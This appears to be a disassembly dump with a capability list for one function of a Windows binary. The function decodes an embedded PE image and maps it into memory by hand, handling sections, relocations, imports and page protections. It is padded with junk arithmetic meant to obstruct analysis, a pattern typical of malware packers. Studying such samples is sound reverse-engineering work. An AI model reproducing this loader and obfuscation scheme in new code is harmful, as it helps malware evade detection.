Function at 0x4012a0
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get ntdll base address
Get number of processors
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x50bd4
call fcn.00404060
mov eax, dword [ebp + 8]
mov eax, esp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x402d10
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
lea ecx, [ebp - 0x50a20]
lea eax, [0x412180]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x50a00
call fcn.00404d60
imul ebx
add ebx, 0x83
rcr edi, 0xa3
dec ebx
sub ebx, 0x45
neg edi
imul edi
sbb esi, 0xb5
rcl ebx, 0x59
and esi, 9
bswap edx
and edi, 0x20
sub edx, 0xd0
not edx
or ebx, 0xf5
rcl eax, 0xde
rcr edx, 0xb
bswap ebx
neg ebx
rcl edi, 0x8e
sbb ebx, 9
sbb eax, 0x1c
sbb edx, 0xcd
bswap edx
imul esi
rcr ebx, 0x4d
dec edi
ror edi, 0xe4
bswap eax
imul esi
inc esi
not edi
rol ebx, 0x7c
add ebx, 0xb0
neg edi
sub ebx, 3
inc eax
inc edi
imul esi
mov edx, 0xd3
bswap edi
bswap ebx
neg edi
inc esi
mov esi, 0x99
not eax
rcr edx, 0x52
rcr eax, 0xd6
and edi, 0xa9
or edi, 0x30
and ebx, 0x53
inc edi
imul edx
neg edi
add ebx, 0x93
not esi
bswap esi
imul edx
not edi
neg edx
bswap esi
inc edi
rcl ebx, 0x64
imul ebx
rcr eax, 0x88
sbb edx, 0x73
inc eax
rol edx, 0x1f
or esi, 0x99
imul edi
imul ebx
inc edi
dec eax
dec eax
rol ebx, 0xeb
rol edi, 0xad
rcl edi, 0xd5
imul edx
or edx, 0x44
neg edi
bswap eax
dec edx
mov ebx, 0x3f
ror edx, 0x54
bswap ebx
and eax, 0xb9
sbb eax, 0x5a
ror edi, 0x27
not edx
rcr esi, 1
not esi
inc eax
bswap esi
not esi
not edi
inc edx
dec eax
add edi, 0x9e
ror ebx, 0x36
rcl edx, 0x6b
imul esi
inc ebx
bswap edi
neg edx
ror edx, 0xda
mov eax, 0xba
sub esi, 0x85
dec esi
not edi
not edi
rcr esi, 0xb3
imul esi
or edx, 0x8d
sbb edx, 0x78
inc edx
rcr edi, 0x9a
sbb ebx, 0xa4
sub esi, 0xab
rol eax, 0x2a
inc edx
sub edx, 0xf
sub esi, 0x12
or eax, 0x9b
and ebx, 0x40
bswap edx
sbb eax, 0x4b
dec esi
dec edx
neg edx
sbb edx, 0xa4
bswap edi
and esi, 0x36
rol edx, 0x9f
neg edi
ror esi, 0x9c
and edi, 0x4f
bswap ebx
ror ebx, 0x6b
bswap ebx
mov edi, 0x1c
dec ebx
inc ebx
imul edx
dec esi
rcr eax, 0x38
bswap esi
rcl esi, 0x2b
mov edx, 0x25
imul edx
bswap edi
sub esi, 0xa1
and eax, 0xae
inc ebx
not edx
sub eax, 0x53
sbb ebx, 0xfb
not eax
dec edx
sub ebx, 0x6f
not edi
rcl edx, 0x7b
dec edi
inc edi
add esi, 0x75
rcr ebx, 0xf5
not edi
add eax, 0xf8
neg eax
neg edx
not esi
rcr edi, 0x7f
imul esi
not eax
not edi
rcl edi, 0x13
rol ebx, 0xb7
ror edx, 0xc6
rcl ebx, 0x17
and edx, 0x1a
bswap ebx
dec esi
rcr esi, 0xbc
and ebx, 0x83
imul edi
rcl eax, 0xdf
rcl eax, 4
and edx, 0x35
neg ebx
bswap edx
mov edx, 0x58
sbb esi, 0x3f
neg eax
sub ebx, 0xa
dec edx
mov edx, 0xd6
dec edi
bswap edi
sbb eax, 0x71
imul esi
and eax, 0x4e
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x50a20]
mov dword [esp], eax
mov dword [esp + 4], 0x50a00
call fcn.00401000
lea eax, [ebp - 0x50a20]
mov dword [ebp + 8], eax
bswap edx
neg edi
not esi
not esi
rol eax, 0x54
mov ebx, 0xa1
imul edi
or edx, 0xa1
inc eax
and edx, 0x1f
sbb ebx, 0x7b
not ebx
dec esi
ror eax, 0xf4
neg edi
and edx, 0x75
sbb edi, 0x4c
rcl edi, 0x1a
bswap eax
neg ebx
dec ebx
sub esi, 0x56
or edx, 0xa3
neg eax
imul esi
dec edi
and eax, 0x82
sbb esi, 0xdd
bswap ebx
bswap eax
bswap edi
mov eax, 0x3f
mov esi, 0xd8
inc ebx
rol edx, 0x1f
inc eax
rcr eax, 0xf9
neg eax
rol edi, 0x10
neg ebx
dec edi
add eax, 0xf2
not esi
dec ebx
neg edx
rcr esi, 0xfe
sbb edx, 0x36
mov eax, 0x2f
neg eax
dec eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x50a24], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x50a24]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x50a28], eax
mov eax, dword [ebp - 0x50a28]
cmp dword [eax], 0x4550
je 0x4015fb
mov dword [ebp - 0x20], 1
jmp 0x402c52
mov eax, esp
lea ecx, [ebp - 0x50a44]
mov dword [ebp - 0x50bb8], ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x50a45]
call fcn.00402cb0
sub esp, 4
mov ecx, dword [ebp - 0x50bb8]
call fcn.00402d30
mov dword [ebp - 0x50bb4], eax
mov dword [ebp - 0x10], 0
mov eax, esp
lea ecx, [ebp - 0x50a60]
mov dword [eax], ecx
lea ecx, [ebp - 0x50a61]
call fcn.00402ce0
sub esp, 4
jmp 0x40164e
lea ecx, [ebp - 0x50a60]
call fcn.00402d30
mov ecx, eax
mov dword [ebp - 0x10], 1
mov eax, esp
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x50bbc], eax
jmp 0x40167b
mov ecx, dword [ebp - 0x50bbc]
mov edx, dword [ebp - 0x50bb4]
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x50bc0], eax
jmp 0x4016a3
lea ecx, [ebp - 0x50a60]
call fcn.00402d50
lea ecx, [ebp - 0x50a44]
call fcn.00402d50
mov eax, dword [ebp - 0x50bc0]
mov dword [ebp - 0x50a2c], eax
cmp dword [ebp - 0x50a2c], 0
jne 0x4016de
mov dword [ebp - 0x20], 0
jmp 0x402c52
mov eax, dword [ebp - 0x50a2c]
mov dword [0x469a28], eax
lea eax, [ebp - 0x50a74]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.004052e0
lea eax, [ebp - 0x50ab8]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.004052e0
mov dword [ebp - 0x50ab8], 0x44
mov eax, dword [ebp - 0x50a28]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x50ac0], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x50abc], eax
mov eax, dword [ebp - 0x50a28]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x50bc4], eax
cmp dword [ebp - 0x50abc], 0
je 0x40177a
xor eax, eax
mov dword [ebp - 0x50bc8], eax
jmp 0x401789
mov eax, dword [ebp - 0x50a28]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x50bc8], eax
mov eax, dword [ebp - 0x50bc4]
mov ecx, dword [ebp - 0x50bc8]
mov dword [ebp - 0x10], 0xffffffff
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x50ac4], eax
cmp dword [ebp - 0x50abc], 0
jne 0x4017f0
mov eax, dword [ebp - 0x50ac4]
mov ecx, dword [ebp - 0x50a28]
cmp eax, dword [ecx + 0x34]
je 0x4017f0
mov dword [ebp - 0x20], 2
jmp 0x402c52
mov eax, dword [0x469a28]
mov ecx, dword [ebp - 0x50ac4]
mov edx, dword [ebp - 0x50a74]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
or esi, 0xca
rol edx, 0x6f
or edx, 0xdb
imul eax
bswap edi
sub eax, 0x89
and ebx, 0xac
ror ebx, 0x9c
or ebx, 0x3d
mov edi, 0x7d
rol eax, 0xb9
rcl esi, 0xc5
inc ebx
dec ebx
rcr eax, 0xb5
imul edi
rcr edx, 0xdd
imul edi
dec esi
inc edi
inc edi
or ebx, 8
rol esi, 0x36
bswap edx
not esi
or edx, 0x99
sub eax, 0x99
or ebx, 0x9f
not eax
add eax, 0x8d
dec edx
sbb edi, 0x3a
ror edi, 9
neg edi
sub esi, 0x43
rol ebx, 0x7a
imul edx
imul ebx
rcr edx, 0x99
add eax, 0x55
mov esi, 1
dec edx
dec edi
sbb eax, 0x56
and esi, 0x30
dec edx
imul edx
bswap edi
not eax
sub esi, 0xa7
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x50ac4]
mov eax, dword [ebp + 8]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00404d60
dec ebx
imul eax
imul edx
or esi, 0xe1
inc edi
rcr edi, 0x1e
neg eax
dec edi
sbb ebx, 0x2d
and edi, 0xa6
and eax, 0xc2
rcr eax, 0xc
mov eax, 0x1f
neg esi
sbb edi, 0x61
imul eax
dec ebx
or esi, 0x90
rcr ebx, 0xf3
neg edx
sub eax, 0x70
add esi, 0x21
dec edi
inc ebx
mov edx, 0xb5
imul edi
rol edx, 0x9a
sub eax, 0xdc
imul esi
rol esi, 0xf4
inc edx
sub edi, 0xc9
imul edi
rcr edi, 0x18
rcl ebx, 9
dec edx
sub ebx, 0x1d
neg ebx
or edx, 0x55
bswap edx
ror edx, 0x66
sub esi, 0x98
imul esi
bswap esi
bswap ebx
imul eax
not edx
rcr ebx, 0x48
ror esi, 0x92
neg esi
rol ebx, 0x57
ror eax, 0x31
and ebx, 0xf1
not esi
rcl edi, 0xcd
bswap eax
rol ebx, 0x5c
bswap eax
inc edx
rcl edi, 0x62
dec edi
dec esi
imul eax
bswap edx
and edx, 0xd
sbb ebx, 0xaf
mov ebx, 0xda
dec eax
imul edx
sbb ebx, 0xf9
dec edx
sbb edi, 0x6e
sub esi, 0xc9
sbb ebx, 0x98
neg eax
not edx
bswap ebx
or esi, 0x85
ror eax, 0x2a
sbb ebx, 0xa9
ror edx, 0x79
rcr edx, 6
sbb eax, 0x33
ror edi, 0x3e
imul ebx
imul edx
rcl eax, 0xc4
and eax, 0xe9
rcr edx, 9
add edx, 0x93
or ebx, 0x68
mov esi, 0xd
bswap eax
not edx
ror ebx, 0x37
rcr edx, 0x44
rcr ebx, 0x9e
sbb edi, 0x43
and esi, 0xc5
neg eax
bswap eax
imul ebx
inc ebx
mov edx, 0x36
sub esi, 0x6b
rcl eax, 0x44
dec esi
add edx, 0xc9
rcl eax, 0xfc
imul edx
mov edx, 0x25
rcr edi, 0xd9
sbb edx, 0x36
ror eax, 0xe3
bswap ebx
inc ebx
sbb esi, 0x20
rcr ebx, 0xb0
add edx, 0x96
not eax
dec edx
inc edx
imul edi
dec edx
not edi
imul edx
neg edi
neg esi
sub edi, 0x9e
and edi, 0x47
dec eax
neg edx
neg edx
not ebx
sbb edx, 0xe1
rol ebx, 0xa0
and esi, 0x28
inc edx
rcl edx, 0x47
inc esi
not esi
sub eax, 0x35
sub edi, 0xa8
or ebx, 0x72
bswap edi
or ebx, 0xe
rcl eax, 0xa5
ror edx, 0x44
ror edx, 0xc4
inc edx
bswap eax
imul edi
dec esi
add edx, 0xb5
sub edi, 0xbf
mov esi, 0xb1
dec edx
rcr ebx, 0x58
rcr esi, 0xc6
dec edi
or edi, 0x55
bswap eax
not edi
dec esi
rol eax, 0xb4
imul edx
and ebx, 0xa3
rcr eax, 0x78
and eax, 0x86
rol edi, 0x1b
inc esi
sbb eax, 0xa8
imul edi
or eax, 0x63
sub ebx, 0x4c
add esi, 0x52
bswap edi
sbb edx, 0x10
rol edx, 0x4e
neg ebx
ror ebx, 0xf2
rcr eax, 0xd4
rol edi, 0xeb
ror edi, 0xb3
bswap edi
and ebx, 0xdf
sub eax, 0x30
and ebx, 0x86
ror edi, 9
mov ebx, 0xa
add edi, 0x42
sbb edx, 0x40
ror eax, 0xb5
rcr edi, 0x64
imul ebx
sub eax, 0xba
imul edx
ror edi, 0xee
dec esi
sbb edi, 0x20
not edx
imul edx
mov ebx, 0xdc
sbb esi, 0xe4
inc edi
not eax
neg ebx
imul edi
dec edi
rol edx, 0x9b
dec ebx
add edx, 0x9b
dec esi
imul esi
inc eax
inc edi
mov esi, 2
add eax, 0x17
rcr esi, 0
bswap eax
neg ebx
sub esi, 0x77
imul esi
rcr eax, 0xab
mov edi, 0xc9
and edx, 0x3e
bswap ebx
rcr ebx, 0xc3
neg esi
sbb ebx, 0x84
neg edi
not edx
sbb ebx, 0x96
not ebx
imul esi
or edi, 0x8c
mov eax, 0xe2
bswap edi
rol edi, 0x61
sbb esi, 0xcb
bswap edi
not esi
inc eax
imul edx
inc esi
and eax, 0xff
dec edx
bswap eax
imul edi
rol edi, 0xd5
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x50a28]
add eax, 0x18
mov ecx, dword [ebp - 0x50a28]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x50ac8], eax
mov dword [ebp - 0x50acc], 0
mov eax, dword [ebp - 0x50acc]
mov ecx, dword [ebp - 0x50a28]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x401c37
mov edx, dword [ebp - 0x50ac4]
mov eax, dword [ebp - 0x50ac8]
imul ecx, dword [ebp - 0x50acc], 0x28
add eax, ecx
add edx, dword [eax + 0xc]
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x50ac8]
imul esi, dword [ebp - 0x50acc], 0x28
add eax, esi
add ecx, dword [eax + 0x14]
mov eax, dword [ebp - 0x50ac8]
imul esi, dword [ebp - 0x50acc], 0x28
add eax, esi
mov eax, dword [eax + 0x10]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00404d60
mov eax, dword [ebp - 0x50acc]
add eax, 1
mov dword [ebp - 0x50acc], eax
jmp 0x401bbc
neg eax
bswap ebx
add edi, 0x4c
imul eax
bswap ebx
not edx
neg ebx
inc eax
neg eax
add eax, 0x84
or esi, 0x99
neg edi
dec edi
bswap ebx
or esi, 0xca
sub edx, 0x59
dec edx
sbb eax, 0x54
sbb ebx, 0x8e
bswap ebx
and esi, 0x7f
bswap esi
rcl edi, 0xf1
sbb ebx, 0x40
rcr eax, 0x4e
rol esi, 0x25
imul edi
inc edi
dec eax
or edi, 0xf2
dec edi
imul eax
or edx, 0xe1
and eax, 0xf5
ror eax, 0x46
rcr eax, 0x9a
rcl ebx, 0x59
rol ebx, 0xbb
mov eax, 0x64
bswap edx
rol esi, 0x1a
imul edx
imul edx
bswap edx
ror edi, 0x3a
bswap edi
dec ebx
mov edi, 0xc1
ror esi, 0x34
mov eax, 0xe9
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x50ac4]
mov ecx, dword [ebp - 0x50a28]
cmp eax, dword [ecx + 0x34]
je 0x401dfb
mov eax, dword [ebp - 0x50ac4]
mov ecx, dword [ebp - 0x50a28]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x50ad0], eax
mov eax, dword [ebp - 0x50ac4]
add eax, dword [ebp - 0x50ac0]
mov dword [ebp - 0x50ad4], eax
mov dword [ebp - 0x50ad8], 0
mov eax, dword [ebp - 0x50ad8]
cmp eax, dword [ebp - 0x50abc]
jae 0x401df6
mov eax, dword [ebp - 0x50ac4]
mov ecx, dword [ebp - 0x50ad4]
add eax, dword [ecx]
mov dword [ebp - 0x50adc], eax
mov eax, dword [ebp - 0x50ad4]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x50ae0], eax
mov eax, dword [ebp - 0x50ad4]
add eax, 8
mov dword [ebp - 0x50ae4], eax
mov dword [ebp - 0x50ae8], 0
mov eax, dword [ebp - 0x50ae8]
cmp eax, dword [ebp - 0x50ae0]
jge 0x401dd0
mov eax, dword [ebp - 0x50ae4]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x401dad
mov ecx, dword [ebp - 0x50ad0]
mov eax, dword [ebp - 0x50adc]
mov edx, dword [ebp - 0x50ae4]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50ae4]
add eax, 2
mov dword [ebp - 0x50ae4], eax
mov eax, dword [ebp - 0x50ae8]
add eax, 1
mov dword [ebp - 0x50ae8], eax
jmp 0x401d62
mov eax, dword [ebp - 0x50ad4]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x50ad8]
mov dword [ebp - 0x50ad8], eax
mov eax, dword [ebp - 0x50ae4]
mov dword [ebp - 0x50ad4], eax
jmp 0x401d0f
jmp 0x401dfb
and eax, 0x29
sbb eax, 0x3b
bswap esi
neg esi
imul edi
or ebx, 0x1f
neg esi
bswap eax
sbb esi, 0x5b
inc ebx
or esi, 0xa4
bswap ebx
rcr edi, 0x20
sbb eax, 0x2b
add esi, 0x12
or edx, 0x74
ror ebx, 0x36
add edi, 0xb8
sub edx, 0xf3
neg eax
bswap eax
inc eax
add edi, 0xd9
mov edx, 0x43
rcl eax, 0x16
sbb ebx, 0x71
sub edx, 0x7a
or edx, 0xe5
neg esi
not edx
mov ebx, 0xa5
or edi, 0
bswap esi
inc edx
rcl edx, 0xd
bswap edx
inc edi
inc eax
inc esi
neg edx
dec edx
bswap edi
bswap edi
bswap ebx
neg ebx
inc edi
bswap ebx
rol esi, 0x40
rol esi, 0x82
rcl esi, 0x75
rcr edi, 0xe4
inc edx
bswap esi
sub esi, 0x3e
imul edi
ror edx, 0x27
sbb eax, 0x47
inc edi
and edx, 0x26
rcl edx, 0x2f
sub ebx, 0xc1
rcl ebx, 0xd3
sub esi, 0xbe
bswap eax
dec esi
bswap esi
bswap esi
neg ebx
inc esi
ror edi, 0x65
add edx, 0x36
rcr edx, 1
ror ebx, 0x9a
bswap esi
rcr edx, 0x25
sub edx, 0x55
neg edx
or edx, 0x5f
add eax, 0x79
sub esi, 0xf
rcl edx, 0x8d
rol edi, 0xf0
inc edi
imul edi
mov edi, 0xa4
not ebx
inc edi
rcr edx, 0x42
neg esi
dec eax
rcr esi, 0xf8
dec edx
inc edi
inc eax
or edi, 0x66
imul esi
dec edx
inc eax
mov esi, 0x8e
ror ebx, 0x17
not edx
not esi
rcl edx, 6
add eax, 0x1f
imul edi
add edi, 0x72
neg esi
and esi, 0x5b
sbb esi, 0x79
or edi, 0x70
not ebx
sub esi, 0xf7
inc edi
sbb edi, 0x64
sbb edx, 0xdd
dec eax
sbb edx, 0x9d
neg ebx
not esi
or edx, 0x79
ror edx, 0x35
neg edi
add ebx, 0x7b
or ebx, 0x4a
ror ebx, 0xe8
or eax, 0xe2
bswap edx
add ebx, 0xa6
or ebx, 0x53
imul edi
mov edx, 0x78
bswap edi
imul edi
mov eax, 0x90
rcl edx, 0x3d
imul eax
neg eax
bswap eax
bswap edi
sub eax, 0xab
inc ebx
or edi, 0x13
bswap edx
not esi
not ebx
rcl ebx, 0xf9
neg esi
rcl ebx, 0xad
inc edi
dec edi
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x50ac4]
mov ecx, dword [ebp - 0x50a28]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x50aec], eax
mov dword [ebp - 0x50af0], 0
mov eax, dword [ebp - 0x50aec]
imul ecx, dword [ebp - 0x50af0], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x402127
mov eax, dword [ebp - 0x50ac4]
mov ecx, dword [ebp - 0x50aec]
imul edx, dword [ebp - 0x50af0], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x50af4], eax
mov eax, dword [ebp - 0x50af4]
mov dword [ebp - 0x10], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0x50af8], eax
cmp dword [ebp - 0x50af8], 0
jne 0x402016
jmp 0x402113
mov eax, dword [ebp - 0x50ac4]
mov ecx, dword [ebp - 0x50aec]
imul edx, dword [ebp - 0x50af0], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x50afc], eax
mov dword [ebp - 0x50b00], 0
mov eax, dword [ebp - 0x50afc]
mov ecx, dword [ebp - 0x50b00]
cmp dword [eax + ecx*4], 0
je 0x40210e
mov eax, dword [ebp - 0x50ac4]
mov ecx, dword [ebp - 0x50afc]
mov edx, dword [ebp - 0x50b00]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x50b04], eax
mov eax, dword [ebp - 0x50afc]
mov ecx, dword [ebp - 0x50b00]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x50af8]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x50b08], eax
cmp dword [ebp - 0x50b08], 0
jne 0x4020cf
mov eax, dword [ebp - 0x50b04]
add eax, 2
mov ecx, dword [ebp - 0x50af8]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x50b08], eax
mov ecx, dword [ebp - 0x50b08]
mov eax, dword [ebp - 0x50ac4]
mov edx, dword [ebp - 0x50aec]
imul esi, dword [ebp - 0x50af0], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x50b00]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x50b00]
add eax, 1
mov dword [ebp - 0x50b00], eax
jmp 0x40203e
jmp 0x402113
mov eax, dword [ebp - 0x50af0]
add eax, 1
mov dword [ebp - 0x50af0], eax
jmp 0x401fae
mov dword [ebp - 0x50b10], 0
mov eax, dword [ebp - 0x50b10]
mov ecx, dword [ebp - 0x50a28]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x4022b8
mov dword [ebp - 0x50b14], 0x40
mov eax, dword [ebp - 0x50ac8]
imul ecx, dword [ebp - 0x50b10], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x50b18], eax
mov eax, dword [ebp - 0x50b18]
and eax, 0x40000000
cmp eax, 0
je 0x4021bd
mov eax, dword [ebp - 0x50b18]
and eax, 0x80000000
cmp eax, 0
je 0x4021bd
mov eax, dword [ebp - 0x50b18]
and eax, 0x20000000
cmp eax, 0
je 0x4021bd
mov dword [ebp - 0x50b14], 0x40
mov dword [ebp - 0x10], 0xffffffff
jmp 0x40225a
mov eax, dword [ebp - 0x50b18]
and eax, 0x40000000
cmp eax, 0
je 0x4021f4
mov eax, dword [ebp - 0x50b18]
and eax, 0x80000000
cmp eax, 0
je 0x4021f4
mov dword [ebp - 0x50b14], 4
jmp 0x402253
mov eax, dword [ebp - 0x50b18]
and eax, 0x40000000
cmp eax, 0
je 0x40222b
mov eax, dword [ebp - 0x50b18]
and eax, 0x20000000
cmp eax, 0
je 0x40222b
mov dword [ebp - 0x50b14], 0x20
jmp 0x40224e
mov eax, dword [ebp - 0x50b18]
and eax, 0x40000000
cmp eax, 0
je 0x402249
mov dword [ebp - 0x50b14], 2
jmp 0x40224e
jmp 0x402253
mov dword [ebp - 0x10], 0xffffffff
mov ecx, dword [ebp - 0x50b14]
mov eax, dword [ebp - 0x50ac8]
imul edx, dword [ebp - 0x50b10], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x50ac4]
mov eax, dword [ebp - 0x50ac8]
imul edi, dword [ebp - 0x50b10], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0x50b0c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.00401260
mov eax, dword [ebp - 0x50b10]
add eax, 1
mov dword [ebp - 0x50b10], eax
jmp 0x402131
rcr ebx, 0xfe
not edx
rcl edx, 0xf3
dec esi
mov edi, 0xac
mov edi, 0xaf
rcl esi, 0x35
add eax, 0xb7
imul edi
imul edx
rol esi, 0xb7
neg ebx
rol ebx, 0x5e
imul edx
inc ebx
dec edx
add edx, 0xc8
mov eax, 0x6f
sbb eax, 0x4b
imul ebx
or ebx, 0x84
dec edx
and eax, 0xa6
dec edx
not eax
add ebx, 0xdf
bswap esi
not edi
neg edx
and edi, 0xa1
rol eax, 0x58
sub eax, 0xad
bswap ebx
not eax
dec edi
imul ebx
not eax
or ebx, 0xf8
neg esi
neg ebx
imul eax
add esi, 0xb2
rcr ebx, 0x4f
rcl esi, 0x92
inc esi
sub edx, 0xf0
dec esi
bswap esi
add edi, 0x1c
add ebx, 0xd2
ror ebx, 0x56
not ebx
neg edi
and ebx, 0xc4
neg eax
rcr edi, 0x5f
and esi, 0xac
mov ebx, 0
not edi
inc ebx
or edi, 0xf
rcr eax, 0x2a
add eax, 0xf
bswap edi
inc edx
rcr ebx, 0xe4
imul esi
not esi
sbb ebx, 0x53
rol ebx, 0x7e
inc edi
mov ebx, 0xdb
inc edx
add eax, 0x6c
dec edx
add ebx, 0x62
rol edx, 0x51
neg eax
rcr edi, 0xca
add edi, 0x50
not esi
or eax, 0x52
add eax, 0x1e
dec eax
not edx
imul edi
add edi, 0xac
not edx
mov esi, 0x22
mov eax, 0xff
neg edx
or eax, 0xfb
imul edx
not esi
rol ebx, 1
add edx, 0xb9
mov edi, 0x31
imul edi
not eax
neg ebx
dec edi
bswap ebx
sub esi, 0x57
bswap eax
rcl esi, 0xbf
neg ebx
sub edi, 0x11
ror eax, 0xa7
bswap eax
imul edx
bswap esi
sbb eax, 0xd9
mov edx, 0xc9
dec ebx
inc edx
neg eax
or edx, 0x95
bswap eax
imul ebx
dec eax
dec edi
sbb edi, 0x80
and edi, 0xc9
and edx, 0x18
sbb edi, 0x93
neg edi
neg edx
rol esi, 0x87
not esi
or ebx, 2
dec edi
imul eax
sub edx, 1
inc eax
bswap ebx
neg esi
rcr edi, 0x23
inc eax
sub ebx, 0x71
and ebx, 0x7a
neg ebx
ror esi, 0xa8
sub edi, 0xc
not edi
neg ebx
dec eax
rcl edi, 0x1e
sub esi, 0x22
not ebx
and eax, 0x2e
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x50b1c], eax
mov eax, dword [ebp - 0x50b1c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x50b20], eax
mov eax, dword [ebp - 0x50b20]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0x50b24], eax
inc eax
sub eax, 0xf
dec esi
neg ebx
sub edi, 0x35
not ebx
sbb eax, 0xfd
neg eax
rcl edi, 0x4e
mov edi, 9
ror ebx, 0xf
dec esi
rcr edi, 6
bswap eax
rol edx, 0xb1
not ebx
inc eax
rcl edi, 0xd3
or edx, 0x76
rcr edi, 0x9d
rol esi, 0xae
rcr edx, 0xd3
or edx, 0x85
dec eax
or edx, 0x65
neg edx
bswap esi
and edx, 0x81
inc edi
dec edx
rcr eax, 0x76
inc ebx
bswap eax
rcr edi, 0x76
neg eax
bswap ebx
mov eax, 8
bswap ebx
inc edx
sbb ebx, 0xde
neg ebx
bswap edx
and edx, 0xf4
rcr edx, 0x96
rcl edx, 0xa4
rcr eax, 0x7a
sbb esi, 0xb2
imul eax
sbb eax, 0x14
add eax, 0x64
inc eax
inc esi
rcl esi, 0x62
imul edx
mov eax, 0x12
sub esi, 0x8a
imul eax
neg edi
dec eax
or ebx, 0xb0
and ebx, 0x8f
rcl esi, 0x73
sub ebx, 0x1c
not ebx
imul eax
imul edi
not edi
not ebx
inc eax
add edi, 0x65
ror edx, 0xe4
dec eax
inc edi
add ebx, 0x3e
and ebx, 0xfb
rol esi, 0x1b
mov esi, 0xf6
dec ebx
rcl edi, 0x26
rcr edi, 0xc8
inc edi
neg ebx
rcl esi, 0x60
sub eax, 0xbf
not ebx
ror esi, 0xb7
not ebx
add edi, 0x9e
rol ebx, 0x4d
and ebx, 0x37
or edi, 0xec
not edi
bswap esi
mov eax, 0x49
bswap ebx
inc esi
sub edi, 0xfc
rcl ebx, 0x82
neg edi
sbb esi, 0xd4
neg esi
and edx, 0x24
sub eax, 2
mov eax, 0xc1
inc esi
or ebx, 0x88
sbb esi, 0x88
dec edi
sbb edx, 0xa7
inc edi
and edx, 0x33
rcl edx, 0xb3
and eax, 0xab
not esi
ror esi, 0x4e
bswap ebx
or eax, 0x16
sbb esi, 0x2a
ror eax, 0xad
bswap eax
or esi, 0xef
sbb edx, 0x15
neg esi
dec ebx
imul esi
neg edx
bswap edx
inc esi
not ebx
not edi
neg esi
inc edi
bswap edx
imul esi
inc esi
inc edx
neg esi
imul edx
sbb esi, 0xb8
ror edi, 0x8f
bswap edi
neg edx
sbb ebx, 0x9d
sub esi, 0x6e
bswap edx
neg edx
not ebx
rcr eax, 0xcd
rcr esi, 0x87
neg edi
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x50ac4]
